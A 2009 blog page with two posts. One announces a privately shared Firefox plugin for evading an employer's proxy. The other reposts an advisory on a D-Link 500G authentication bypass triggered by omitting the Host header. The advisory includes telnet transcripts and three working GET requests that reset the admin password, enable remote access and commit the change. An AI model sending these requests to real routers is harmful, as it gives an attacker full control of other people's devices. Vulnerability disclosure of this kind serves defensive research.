Bypassing TM’s Proxy
Posted: September 10th, 2009 | Author: xanda | Filed under: IT Related | Tags: bypass, plugin, proxy, TM | 13 Comments »
Hi all especially TM staffs 😛
I’ve wrote a Firefox plugin that helps you (TM staffs) to bypass the TM proxy and allow you to browse Facebook and Twitter from TM’s internal network or via TM’s secure VPN.
The plugin now is in BETA version and version 1.1 (release version) will be distributed tonight.
This plugin will be released in controlled copy where ONLY those person that I knew and those in my trusted group of people will get it.
Greetz and thanks to my BETA tester: Azra, Farah and Fathi
D-LINK 500G Authentication Bypass
Posted: August 24th, 2009 | Author: xanda | Filed under: IT Related | Tags: 500G, authentication, bypass, dlink | 4 Comments »
SUMMARY
There is an authentication bypass vulnerability in D-Link 500G that allows an attacker to take full control over the device. Remote access is disabled by default, so the attacker is required to be on the local network.
The bypass can be triggered sending a HTTP request without the HOST header.
$ telnet 192.168.0.1 80 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. GET / HTTP/1.1 Host: 192.168.0.1 Connection: close HTTP/1.1 401 Unauthorized WWW-Authenticate: Basic Realm="DSL-500G" Content-type: text/html Content-length: 111 <html><head><title>401 Unauthorized Access</title></head><body><h1>401 Unauthorized Access</h1></body></html> Connection closed by foreign host. |
$ telnet 192.168.0.1 80 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. GET / HTTP/1.1 Connection: close HTTP/1.1 302 Document Follows Location: /hag/pages/home.ssi Connection closed by foreign host. |
AFFECTED PRODUCTS
Confirmed in D-Link 500G Firmware R2.01.B9.EU(030917a/T93.3.44).
Haven’t tested in other devices and version.
SOLUTION
The manufacturer has not been contacted. Don’t complain on me.
EXPLOIT
Reset the admin password: GET /Action?cmdSubmit=Submit&ex_param1=admin&id=3&new_pass1=admin&new_pass2=admin&old_pass=admin&user=admin HTTP/1.0 |
Enable remote access: GET /Action?cmdSubmit=Submit&remote=0&id=83 HTTP/1.0 |
Commit changes: GET /Action?cmdCommit=Commit&reboot_loc=0&id=4 HTTP/1.0 |
CREDITS
Discovered by Jardel Weyrich <jweyrich at gmail dot com>.